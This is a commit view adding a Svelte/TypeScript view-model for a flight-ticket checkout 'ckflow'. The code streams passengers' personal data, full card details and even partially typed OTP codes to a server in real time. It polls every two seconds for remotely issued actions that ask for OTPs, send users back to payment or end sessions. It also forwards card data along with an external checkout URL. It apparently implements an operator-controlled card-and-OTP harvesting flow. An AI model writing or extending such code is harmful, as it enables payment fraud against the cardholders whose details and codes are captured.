stashing code
This commit is contained in:
625
apps/frontend/src/lib/domains/ckflow/view/ckflow.vm.svelte.ts
Normal file
625
apps/frontend/src/lib/domains/ckflow/view/ckflow.vm.svelte.ts
Normal file
@@ -0,0 +1,625 @@
|
||||
import { get } from "svelte/store";
|
||||
import {
|
||||
CKActionType,
|
||||
SessionOutcome,
|
||||
type FlowInfo,
|
||||
type PendingAction,
|
||||
type PendingActions,
|
||||
} from "$lib/domains/ckflow/data/entities";
|
||||
import { trpcApiStore } from "$lib/stores/api";
|
||||
import { toast } from "svelte-sonner";
|
||||
import { flightTicketStore } from "$lib/domains/ticket/data/store";
|
||||
import { passengerInfoVM } from "$lib/domains/passengerinfo/view/passenger.info.vm.svelte";
|
||||
import { paymentInfoVM } from "$lib/domains/ticket/view/checkout/payment-info-section/payment.info.vm.svelte";
|
||||
import { ticketCheckoutVM } from "$lib/domains/ticket/view/checkout/flight-checkout.vm.svelte";
|
||||
import {
|
||||
CheckoutStep,
|
||||
type FlightPriceDetails,
|
||||
} from "$lib/domains/ticket/data/entities";
|
||||
import { PaymentMethod } from "$lib/domains/paymentinfo/data/entities";
|
||||
import { page } from "$app/state";
|
||||
import { ClientLogger } from "@pkg/logger/client";
|
||||
import { billingDetailsVM } from "$lib/domains/ticket/view/checkout/payment-info-section/billing.details.vm.svelte";
|
||||
import {
|
||||
passengerPIIModel,
|
||||
type PassengerPII,
|
||||
} from "$lib/domains/passengerinfo/data/entities";
|
||||
import type { PaymentDetailsPayload } from "$lib/domains/paymentinfo/data/entities";
|
||||
|
||||
class ActionRunner {
|
||||
async run(actions: PendingActions) {
|
||||
if (actions.length < 1) {
|
||||
return;
|
||||
}
|
||||
|
||||
console.log(actions);
|
||||
|
||||
const hasTerminationAction = actions.find(
|
||||
(a) => a.type === CKActionType.TerminateSession,
|
||||
);
|
||||
|
||||
if (hasTerminationAction) {
|
||||
this.terminateSession();
|
||||
return;
|
||||
}
|
||||
|
||||
const actionHandlers = {
|
||||
[CKActionType.BackToPII]: this.backToPII,
|
||||
[CKActionType.BackToPayment]: this.backToPayment,
|
||||
[CKActionType.CompleteOrder]: this.completeOrder,
|
||||
[CKActionType.TerminateSession]: this.terminateSession,
|
||||
[CKActionType.RequestOTP]: this.requestOTP,
|
||||
} as const;
|
||||
|
||||
for (const action of actions) {
|
||||
const ak = action.type as any as keyof typeof actionHandlers;
|
||||
if (!ak || !actionHandlers[ak]) {
|
||||
console.log(`Invalid action found for ${action.type}`);
|
||||
continue;
|
||||
}
|
||||
await actionHandlers[ak](action);
|
||||
}
|
||||
}
|
||||
private async completeOrder(data: any) {
|
||||
const ok = await ticketCheckoutVM.checkout();
|
||||
if (!ok) return;
|
||||
|
||||
const cleanupSuccess = await ckFlowVM.cleanupFlowInfo(
|
||||
SessionOutcome.COMPLETED,
|
||||
CheckoutStep.Complete,
|
||||
);
|
||||
|
||||
if (!cleanupSuccess) {
|
||||
toast.error("There was an issue finalizing your order", {
|
||||
description: "Please check your order status in your account",
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
toast.success("Your booking has been confirmed", {
|
||||
description: "Redirecting, please wait...",
|
||||
});
|
||||
|
||||
// Ensure flow is completely reset before redirecting
|
||||
ckFlowVM.reset();
|
||||
|
||||
setTimeout(() => {
|
||||
window.location.replace("/checkout/success");
|
||||
}, 500);
|
||||
}
|
||||
|
||||
private async requestOTP(action: PendingAction) {
|
||||
if (!ckFlowVM.info) return;
|
||||
|
||||
// Reset OTP submission status to show the form again
|
||||
await ckFlowVM.updateFlowState(ckFlowVM.info.flowId, {
|
||||
...ckFlowVM.info,
|
||||
showVerification: true,
|
||||
otpSubmitted: false, // Reset this flag to show the OTP form again
|
||||
otpCode: undefined, // Clear previous OTP code
|
||||
pendingActions: ckFlowVM.info.pendingActions.filter(
|
||||
(a) => a.id !== action.id,
|
||||
),
|
||||
});
|
||||
|
||||
// Make sure the info is immediately updated in our local state
|
||||
if (ckFlowVM.info) {
|
||||
ckFlowVM.info = {
|
||||
...ckFlowVM.info,
|
||||
showVerification: true,
|
||||
otpSubmitted: false,
|
||||
otpCode: undefined,
|
||||
pendingActions: ckFlowVM.info.pendingActions.filter(
|
||||
(a) => a.id !== action.id,
|
||||
),
|
||||
};
|
||||
}
|
||||
|
||||
await ckFlowVM.refreshFlowInfo(false);
|
||||
|
||||
ticketCheckoutVM.checkoutStep = CheckoutStep.Verification;
|
||||
toast.info("Verification required", {
|
||||
description: "Please enter the verification code sent to your device",
|
||||
});
|
||||
}
|
||||
|
||||
private async backToPII(action: PendingAction) {
|
||||
await ckFlowVM.popPendingAction(action.id, {
|
||||
checkoutStep: CheckoutStep.Initial,
|
||||
});
|
||||
await ckFlowVM.goBackToInitialStep();
|
||||
toast.error("Some information provided is not valid", {
|
||||
description: "Please double check your info & try again",
|
||||
});
|
||||
ticketCheckoutVM.checkoutStep = CheckoutStep.Initial;
|
||||
}
|
||||
|
||||
private async backToPayment(action: PendingAction) {
|
||||
const out = await ckFlowVM.popPendingAction(action.id, {
|
||||
checkoutStep: CheckoutStep.Payment,
|
||||
});
|
||||
|
||||
if (!out) {
|
||||
return;
|
||||
}
|
||||
|
||||
console.log("back to payment action : ", action);
|
||||
|
||||
const errorMessage =
|
||||
action.data?.message || "Could not complete transaction";
|
||||
const errorDescription =
|
||||
action.data?.description || "Please confirm your info & try again";
|
||||
|
||||
toast.error(errorMessage, {
|
||||
description: errorDescription,
|
||||
duration: 6000,
|
||||
});
|
||||
|
||||
ticketCheckoutVM.checkoutStep = CheckoutStep.Payment;
|
||||
}
|
||||
|
||||
private async terminateSession() {
|
||||
await ckFlowVM.cleanupFlowInfo();
|
||||
ckFlowVM.reset();
|
||||
ticketCheckoutVM.reset();
|
||||
const tid = page.params.tid as any as string;
|
||||
const sid = page.params.sid as any as string;
|
||||
window.location.replace(`/checkout/terminated?sid=${sid}&tid=${tid}`);
|
||||
}
|
||||
}
|
||||
|
||||
export class CKFlowViewModel {
|
||||
actionRunner: ActionRunner;
|
||||
setupDone = $state(false);
|
||||
flowId: string | undefined = $state(undefined);
|
||||
info: FlowInfo | undefined = $state(undefined);
|
||||
|
||||
otpCode: string | undefined = $state(undefined);
|
||||
|
||||
poller: NodeJS.Timer | undefined = undefined;
|
||||
pinger: NodeJS.Timer | undefined = undefined;
|
||||
priceFetcher: NodeJS.Timer | undefined = undefined;
|
||||
|
||||
// Data synchronization control
|
||||
private personalInfoDebounceTimer: NodeJS.Timeout | null = null;
|
||||
private paymentInfoDebounceTimer: NodeJS.Timeout | null = null;
|
||||
syncInterval = 300; // 300ms debounce for syncing
|
||||
|
||||
updatedPrices = $state<FlightPriceDetails | undefined>(undefined);
|
||||
|
||||
constructor() {
|
||||
this.actionRunner = new ActionRunner();
|
||||
}
|
||||
|
||||
reset() {
|
||||
this.setupDone = false;
|
||||
this.flowId = undefined;
|
||||
this.info = undefined;
|
||||
this.clearPoller();
|
||||
this.clearPinger();
|
||||
this.clearPersonalInfoDebounce();
|
||||
this.clearPaymentInfoDebounce();
|
||||
}
|
||||
|
||||
async initFlow() {
|
||||
if (this.setupDone) {
|
||||
console.log(`Initting flow ${this.flowId} but setup already done`);
|
||||
return;
|
||||
}
|
||||
console.log(`Initting flow ${this.flowId}`);
|
||||
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) {
|
||||
toast.error("Could not initiate checkout at the moment", {
|
||||
description: "Please try again later",
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const ticket = get(flightTicketStore);
|
||||
const refOIds = ticket.refOIds;
|
||||
if (!refOIds) {
|
||||
this.setupDone = true;
|
||||
return; // Since we don't have any attached order(s), we don't need to worry about this dude
|
||||
}
|
||||
|
||||
const info = await api.ckflow.initiateCheckout.mutate({
|
||||
domain: window.location.hostname,
|
||||
refOIds,
|
||||
ticketId: ticket.id,
|
||||
});
|
||||
|
||||
if (info.error) {
|
||||
toast.error(info.error.message, { description: info.error.userHint });
|
||||
return;
|
||||
}
|
||||
|
||||
if (!info.data) {
|
||||
toast.error("Error while creating checkout flow", {
|
||||
description: "Try refreshing page or search for ticket again",
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
this.flowId = info.data;
|
||||
this.startPolling();
|
||||
this.startPinging();
|
||||
|
||||
this.setupDone = true;
|
||||
}
|
||||
|
||||
debouncePersonalInfoSync(personalInfo: PassengerPII) {
|
||||
this.clearPersonalInfoDebounce();
|
||||
this.personalInfoDebounceTimer = setTimeout(() => {
|
||||
this.syncPersonalInfo(personalInfo);
|
||||
}, this.syncInterval);
|
||||
}
|
||||
|
||||
debouncePaymentInfoSync() {
|
||||
if (!paymentInfoVM.cardDetails) return;
|
||||
|
||||
this.clearPaymentInfoDebounce();
|
||||
this.paymentInfoDebounceTimer = setTimeout(() => {
|
||||
const paymentInfo = {
|
||||
cardDetails: paymentInfoVM.cardDetails,
|
||||
flightTicketInfoId: get(flightTicketStore).id,
|
||||
method: PaymentMethod.Card,
|
||||
};
|
||||
this.syncPaymentInfo(paymentInfo);
|
||||
}, this.syncInterval);
|
||||
}
|
||||
|
||||
isPaymentInfoValid(): boolean {
|
||||
return (
|
||||
Object.values(paymentInfoVM.errors).every((e) => e === "" || !e) ||
|
||||
Object.keys(paymentInfoVM.errors).length === 0
|
||||
);
|
||||
}
|
||||
|
||||
isPersonalInfoValid(personalInfo: PassengerPII): boolean {
|
||||
const parsed = passengerPIIModel.safeParse(personalInfo);
|
||||
return !parsed.error && !!parsed.data;
|
||||
}
|
||||
|
||||
async syncPersonalInfo(personalInfo: PassengerPII) {
|
||||
if (!this.flowId || !this.setupDone) {
|
||||
return;
|
||||
}
|
||||
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) return;
|
||||
|
||||
console.log("Pushing : ", personalInfo);
|
||||
|
||||
try {
|
||||
await api.ckflow.syncPersonalInfo.mutate({
|
||||
flowId: this.flowId,
|
||||
personalInfo,
|
||||
});
|
||||
ClientLogger.debug("Personal info synced successfully");
|
||||
} catch (err) {
|
||||
ClientLogger.error("Failed to sync personal info", err);
|
||||
}
|
||||
}
|
||||
|
||||
async syncPaymentInfo(paymentInfo: PaymentDetailsPayload) {
|
||||
if (!this.flowId || !this.setupDone || !paymentInfo.cardDetails) {
|
||||
return;
|
||||
}
|
||||
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) return;
|
||||
|
||||
console.log("Pushing payinfo : ", paymentInfo);
|
||||
|
||||
try {
|
||||
await api.ckflow.syncPaymentInfo.mutate({
|
||||
flowId: this.flowId,
|
||||
paymentInfo,
|
||||
});
|
||||
ClientLogger.debug("Payment info synced successfully");
|
||||
} catch (err) {
|
||||
ClientLogger.error("Failed to sync payment info", err);
|
||||
}
|
||||
}
|
||||
|
||||
private clearPersonalInfoDebounce() {
|
||||
if (this.personalInfoDebounceTimer) {
|
||||
clearTimeout(this.personalInfoDebounceTimer);
|
||||
this.personalInfoDebounceTimer = null;
|
||||
}
|
||||
}
|
||||
|
||||
private clearPaymentInfoDebounce() {
|
||||
if (this.paymentInfoDebounceTimer) {
|
||||
clearTimeout(this.paymentInfoDebounceTimer);
|
||||
this.paymentInfoDebounceTimer = null;
|
||||
}
|
||||
}
|
||||
|
||||
clearUpdatedPrices() {
|
||||
this.updatedPrices = undefined;
|
||||
}
|
||||
|
||||
private clearPoller() {
|
||||
if (this.poller) {
|
||||
clearInterval(this.poller);
|
||||
}
|
||||
}
|
||||
|
||||
private clearPinger() {
|
||||
if (this.pinger) {
|
||||
clearInterval(this.pinger);
|
||||
}
|
||||
}
|
||||
|
||||
private async startPolling() {
|
||||
this.clearPoller();
|
||||
this.poller = setInterval(() => {
|
||||
this.refreshFlowInfo();
|
||||
}, 2000);
|
||||
}
|
||||
|
||||
private async startPinging() {
|
||||
this.clearPinger();
|
||||
this.pinger = setInterval(() => {
|
||||
this.pingFlow();
|
||||
}, 30000); // Every 30 seconds
|
||||
}
|
||||
|
||||
private async pingFlow() {
|
||||
if (!this.flowId) {
|
||||
return;
|
||||
}
|
||||
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) return;
|
||||
|
||||
try {
|
||||
await api.ckflow.ping.mutate({ flowId: this.flowId });
|
||||
ClientLogger.debug("Flow pinged successfully");
|
||||
} catch (err) {
|
||||
ClientLogger.error("Failed to ping flow", err);
|
||||
}
|
||||
}
|
||||
|
||||
async updateFlowState(
|
||||
flowId: string,
|
||||
updatedInfo: FlowInfo,
|
||||
): Promise<boolean> {
|
||||
if (!flowId) return false;
|
||||
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) return false;
|
||||
|
||||
try {
|
||||
const result = await api.ckflow.updateFlowState.mutate({
|
||||
flowId,
|
||||
payload: updatedInfo,
|
||||
});
|
||||
|
||||
if (result.data) {
|
||||
this.info = updatedInfo;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
} catch (err) {
|
||||
ClientLogger.error("Failed to update flow state", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Method to submit OTP
|
||||
async submitOTP(code: string): Promise<boolean> {
|
||||
if (!this.flowId || !this.setupDone || !this.info) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) return false;
|
||||
|
||||
try {
|
||||
// Update the flow state with OTP info
|
||||
const updatedInfo = {
|
||||
...this.info,
|
||||
otpCode: code,
|
||||
partialOtpCode: code,
|
||||
otpSubmitted: true,
|
||||
lastSyncedAt: new Date().toISOString(),
|
||||
};
|
||||
|
||||
const result = await this.updateFlowState(this.flowId, updatedInfo);
|
||||
return result;
|
||||
} catch (err) {
|
||||
ClientLogger.error("Failed to submit OTP", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async syncPartialOTP(otpValue: string): Promise<void> {
|
||||
if (!this.flowId || !this.setupDone || !this.info) {
|
||||
return;
|
||||
}
|
||||
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) return;
|
||||
|
||||
try {
|
||||
// Update the flow state with partial OTP info
|
||||
const updatedInfo = {
|
||||
...this.info,
|
||||
partialOtpCode: otpValue, // Store partial OTP in a different field
|
||||
lastSyncedAt: new Date().toISOString(),
|
||||
};
|
||||
|
||||
await this.updateFlowState(this.flowId, updatedInfo);
|
||||
ClientLogger.debug("Partial OTP synced successfully");
|
||||
} catch (err) {
|
||||
ClientLogger.error("Failed to sync partial OTP", err);
|
||||
}
|
||||
}
|
||||
|
||||
async refreshFlowInfo(runActions = true) {
|
||||
const api = get(trpcApiStore);
|
||||
if (!api || !this.flowId) {
|
||||
console.log("No api OR No flow id found");
|
||||
return;
|
||||
}
|
||||
|
||||
const info = await api.ckflow.getFlowInfo.query({
|
||||
flowId: this.flowId,
|
||||
});
|
||||
|
||||
if (info.error) {
|
||||
if (info.error.detail.toLowerCase().includes("not found")) {
|
||||
return this.initFlow();
|
||||
}
|
||||
toast.error(info.error.message, { description: info.error.userHint });
|
||||
return;
|
||||
}
|
||||
|
||||
if (!info.data) {
|
||||
return;
|
||||
}
|
||||
|
||||
this.info = info.data;
|
||||
if (runActions) {
|
||||
this.actionRunner.run(info.data.pendingActions);
|
||||
}
|
||||
|
||||
return { data: true };
|
||||
}
|
||||
|
||||
async popPendingAction(actionidToPop: string, meta: Partial<FlowInfo> = {}) {
|
||||
const api = get(trpcApiStore);
|
||||
if (!api || !this.info) {
|
||||
console.log("No API or flow state found");
|
||||
return;
|
||||
}
|
||||
return api.ckflow.updateFlowState.mutate({
|
||||
flowId: this.info.flowId,
|
||||
payload: {
|
||||
...this.info,
|
||||
pendingActions: this.info.pendingActions.filter(
|
||||
(a) => a.id !== actionidToPop,
|
||||
),
|
||||
...meta,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
async goBackToInitialStep() {
|
||||
if (!this.flowId && this.setupDone) {
|
||||
return true; // This assumes that there is no order attached to this one
|
||||
}
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) {
|
||||
console.log("No api OR No flow id found");
|
||||
return;
|
||||
}
|
||||
const out = await api.ckflow.goBackToInitialStep.mutate({
|
||||
flowId: this.flowId!,
|
||||
});
|
||||
if (out.error) {
|
||||
toast.error(out.error.message, { description: out.error.userHint });
|
||||
return;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
async executePrePaymentStep() {
|
||||
if (!this.flowId && this.setupDone) {
|
||||
return true; // This assumes that there is no order attached to this one
|
||||
}
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) {
|
||||
console.log("No api OR No flow id found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Get primary passenger's PII
|
||||
const primaryPassengerInfo =
|
||||
passengerInfoVM.passengerInfos.length > 0
|
||||
? passengerInfoVM.passengerInfos[0].passengerPii
|
||||
: undefined;
|
||||
|
||||
const out = await api.ckflow.executePrePaymentStep.mutate({
|
||||
flowId: this.flowId!,
|
||||
payload: {
|
||||
initialUrl: get(flightTicketStore).checkoutUrl,
|
||||
personalInfo: primaryPassengerInfo,
|
||||
},
|
||||
});
|
||||
|
||||
if (out.error) {
|
||||
toast.error(out.error.message, { description: out.error.userHint });
|
||||
return;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
async executePaymentStep() {
|
||||
if (!this.flowId && this.setupDone) {
|
||||
return true; // This assumes that there is no order attached to this one
|
||||
}
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) {
|
||||
console.log("No api OR No flow id found");
|
||||
return;
|
||||
}
|
||||
|
||||
const paymentInfo = {
|
||||
cardDetails: paymentInfoVM.cardDetails,
|
||||
flightTicketInfoId: get(flightTicketStore).id,
|
||||
method: PaymentMethod.Card,
|
||||
};
|
||||
|
||||
const out = await api.ckflow.executePaymentStep.mutate({
|
||||
flowId: this.flowId!,
|
||||
payload: {
|
||||
personalInfo: billingDetailsVM.billingDetails,
|
||||
paymentInfo,
|
||||
},
|
||||
});
|
||||
|
||||
if (out.error) {
|
||||
toast.error(out.error.message, { description: out.error.userHint });
|
||||
return;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
async cleanupFlowInfo(
|
||||
outcome = SessionOutcome.COMPLETED,
|
||||
checkoutStep = CheckoutStep.Confirmation,
|
||||
) {
|
||||
if (!this.flowId && this.setupDone) {
|
||||
return true; // This assumes that there is no order attached to this one
|
||||
}
|
||||
const api = get(trpcApiStore);
|
||||
if (!api) {
|
||||
console.log("No api OR No flow id found");
|
||||
return;
|
||||
}
|
||||
const out = await api.ckflow.cleanupFlow.mutate({
|
||||
flowId: this.flowId!,
|
||||
other: {
|
||||
sessionOutcome: outcome,
|
||||
checkoutStep: checkoutStep,
|
||||
},
|
||||
});
|
||||
if (out.error) {
|
||||
toast.error(out.error.message, { description: out.error.userHint });
|
||||
return false;
|
||||
}
|
||||
this.reset();
|
||||
return true;
|
||||
}
|
||||
|
||||
async onBackToPIIBtnClick() {
|
||||
// This is called when the user clicks the back button on the payment step
|
||||
return this.goBackToInitialStep();
|
||||
}
|
||||
}
|
||||
|
||||
export const ckFlowVM = new CKFlowViewModel();
|
||||
Reference in New Issue
Block a user